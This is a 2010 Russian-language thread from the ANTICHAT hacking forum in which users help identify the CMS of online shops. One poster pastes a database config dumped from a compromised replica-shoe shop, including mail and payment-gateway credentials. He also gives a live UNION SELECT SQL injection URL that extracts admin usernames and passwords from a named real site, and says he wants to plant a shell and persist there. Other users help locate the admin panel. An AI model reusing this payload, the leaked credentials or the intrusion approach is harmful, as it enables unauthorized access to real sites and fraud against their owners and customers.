HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 30.06.2010, 12:48
daho
Новичок
Регистрация: 29.06.2010
Сообщений: 2
Провел на форуме:
485

Репутация: 0
По умолчанию

Здравствуйте! Помогите если можете определить движок и компонент магазина http://zoo812.ru/

Мне думается движок joomla, но версию не могу узнать. В идеале бвы вычислить ещё компонент магазина.
 
Ответить с цитированием

  #2  
Старый 30.06.2010, 12:55
CyberHunter
Постоянный
Регистрация: 06.01.2010
Сообщений: 785
Провел на форуме:
1777031

Репутация: 256


По умолчанию

Цитата:
Сообщение от None  
Здравствуйте! Помогите если можете определить движок и компонент магазина http://zoo812.ru/
Мне думается движок joomla, но версию не могу узнать. В идеале бвы вычислить ещё компонент магазина.
Это не джумла.

Скорее всего, это самописный движок.
 
Ответить с цитированием

  #3  
Старый 30.06.2010, 13:05
f1ng3r
Участник форума
Регистрация: 14.01.2009
Сообщений: 257
Провел на форуме:
1936181

Репутация: 688
По умолчанию

Цитата:
Сообщение от daho  
Здравствуйте! Помогите если можете определить движок и компонент магазина http://zoo812.ru/
Мне думается движок joomla, но версию не могу узнать. В идеале бвы вычислить ещё компонент магазина.
Очень похож на Webasyst Shop-Script, ну очень. Но это только мои догадки.
 
Ответить с цитированием

  #4  
Старый 30.06.2010, 15:21
daho
Новичок
Регистрация: 29.06.2010
Сообщений: 2
Провел на форуме:
485

Репутация: 0
По умолчанию

Благодарю
 
Ответить с цитированием

  #5  
Старый 05.07.2010, 00:44
Aels
Новичок
Регистрация: 29.06.2010
Сообщений: 22
Провел на форуме:
7263

Репутация: 0
По умолчанию

наткнулся на непонятный шопо-двиг, ноги растут из китая.

в стилях и жс никаких вразумительных комментариев о том, что за cms нету.

Вот конфиг из бд:

Код:
ConfigName:ConfigValue:
email:sales@some***site.com:
msn1:***@34804804.com:
qq2:402766567:
zip:00000:
companyname:some***site.com:
address:hongkong:
phone:+008-52:
mobilephone:11111:
fax:+008-52:
copyright:some***site.com:
icp:ICP 00000000:
mailserver:smtp.163.com:
mailaccount:cloudywindys:
mailsubject:replica:
mailpassword:123456789:
GarmentWorkshop:GarmentWorkshopGarmentWorkshop:
foot:Copyright c 2009 some***Site.com All Rights Reserved. :
WeavingWorkshop:WeavingWorkshopWeavingWorkshop:
recovery:*password*:
home_image:&nbsp:
intro:
Payment:PaymentPayment:
faq:
Privacy:PrivacyPrivacy:
PAYPAL:0:
HowToOrder:HowToOrderHowToOrderHowToOrder:
homeimage:/UploadFile/mainbanner.jpg:
contact:&nbsp:
MSN:0:
webkeyword:
webtitle:Christian Louboutin Shoes, 50%-70% OFF, free shipping, fast delivery - some***site.com,some*** :
webdis:Enjoy Christian Louboutin Fashion Now, Sexy & Classic Red Sole Designer Shoes by Christian Louboutin, Super Value BEST PRICE, Free Shipping!:
homeimage33:/UploadFile/20090225/20090225094726.jpg:
homeimage4:/UploadFile/20090225/20090225094317.jpg:
homeimage5:/UploadFile/20090225/20090225094407.jpg:
MSN2:cloudywindys2@163.com:
MSN3:cloudywindys3@163.com:
PrivacyPolicy:PrivacyPolicyPrivacyPolicy:
PrintingWorkshop:PrintingWorkshopPrintingWorkshop:
Shippment:ShippmentShippment:
workshop:workshopworkshop:
ContactUs:E-mail:&nbsp:
AboutUs:
SizingCharts:SizingCharts:
TermsOfUse:TermsOfUseTermsOfUse:
ShoppingGuide:ShoppingGuide:
Security:Security:
Bankfinished:
FAQs:
ShippingHandling:ShippingHandlingShippingHandling:
ReturnsExchange:ReturnsExchangeReturnsExchange:
TermofUse:TermofUseTermofUse:
Moneyorderfinish:Paris-station 
1404 Irving st, 
San Francisco, CA 94122. U.S.A.:
Skype:some***site.com:
indexdis:
2CHECKOUT:xxxxxx:
DingZhi:
weburl:some***site.com:
paypalOK:0:
homeimage2:/UploadFile/20090225/20090225094329.jpg:
homeimage1:/UploadFile/20090225/20090225094305.jpg:
homeimage3:/UploadFile/20090216/20090216173647.jpg:
CreditCardOK:0:
westernunionOK:0:
IPOK:0:
homeimageLEFT1:/UploadFile/20091026/20091026101310.jpg:
homeimageLEFT2:/UploadFile/20090407/20090407085945.jpg:
homeimageLEFT3:/UploadFile/20091026/20091026200405.jpg:
homeimageLEFT4:/UploadFile/20091026/20091026200254.jpg:
homeimageLEFT5:/UploadFile/20090407/20090407090033.jpg:
IPSOK:1:
BSmid:2694:
BSkey:ei87xy1284hsyzhu:
gspayOK:1:
IPSmid:012898:
IPSkey:47684197176208347067429788079596633584373577233766187882799611758967586378494255421330874178476271927627971949754418041718231799:
RATE:6.80:
*часть мусора повырезал.

в базе тоже ни путей, ни копирайтов девелоперов.

Есть логин и пасс админа, но админки не найти (все стандартные пути перепробовал)

это не shopEx, вопрос: что это за двиг?

или куда копать?
 
Ответить с цитированием

  #6  
Старый 05.07.2010, 00:48
CyberHunter
Постоянный
Регистрация: 06.01.2010
Сообщений: 785
Провел на форуме:
1777031

Репутация: 256


По умолчанию

Цитата:
Сообщение от None  
вопрос: что это за двиг?
Догадываюсь, что это CMS Workshop. Просто есть такая CMS, а в базе куча workshop.
 
Ответить с цитированием

  #7  
Старый 05.07.2010, 00:57
Aels
Новичок
Регистрация: 29.06.2010
Сообщений: 22
Провел на форуме:
7263

Репутация: 0
По умолчанию

глупо себя чувствую, но она не гоглится.

вот линк:

_ttp://www.fashionbootsite.com/products.php?id=-1+union+select+1,2,concat_ws(char(59),username,pas sword),4,5,6,7,8,9+from+admininfo+--+

шелл не льется, апдейт не пашет, а закрепиться нужно...

это видимо не workshop...

натыкался кто-нибудь на такой?

ps. за линк на админку расцелую XD
 
Ответить с цитированием

  #8  
Старый 05.07.2010, 01:26
CyberHunter
Постоянный
Регистрация: 06.01.2010
Сообщений: 785
Провел на форуме:
1777031

Репутация: 256


По умолчанию

Цитата:
Сообщение от None  
ps. за линк на админку расцелую XD
http://www.fashionbootsite.com/login.php

А так нельзя зайти на сайт?
 
Ответить с цитированием

  #9  
Старый 05.07.2010, 02:23
Aels
Новичок
Регистрация: 29.06.2010
Сообщений: 22
Провел на форуме:
7263

Репутация: 0
По умолчанию

только как юзер...

ps

вопрос "что это" отпал, это onepound, но он платный,

вопрос "где админка" открыт)
 
Ответить с цитированием

  #10  
Старый 05.07.2010, 10:21
dr0wzee
Новичок
Регистрация: 25.06.2010
Сообщений: 3
Провел на форуме:
800

Репутация: 0
По умолчанию

Цитата:
Сообщение от m03G  
Помогите определить что за движки
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.mephi.edu/

[/COLOR][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.rsuh.ru/

[/COLOR][/COLOR
Заранее благодарен
http://www.rsuh.ru/

Цитата:
Сообщение от None  
Разработка сайта — агентство Redmark
самопис.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[99.7%] решение проблемы с icq AlexV Skype, IRC, ICQ, Jabber и другие IM 88 25.01.2009 13:31
PasswordsPro обновилась до версии 2.0.0. ArdeOS Мировые новости. Обсуждения. 11 12.10.2006 13:52
Уязвимости в форумах phpbb до версии 2.0.13 *Van* Уязвимости CMS / форумов 3 27.11.2005 00:43



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.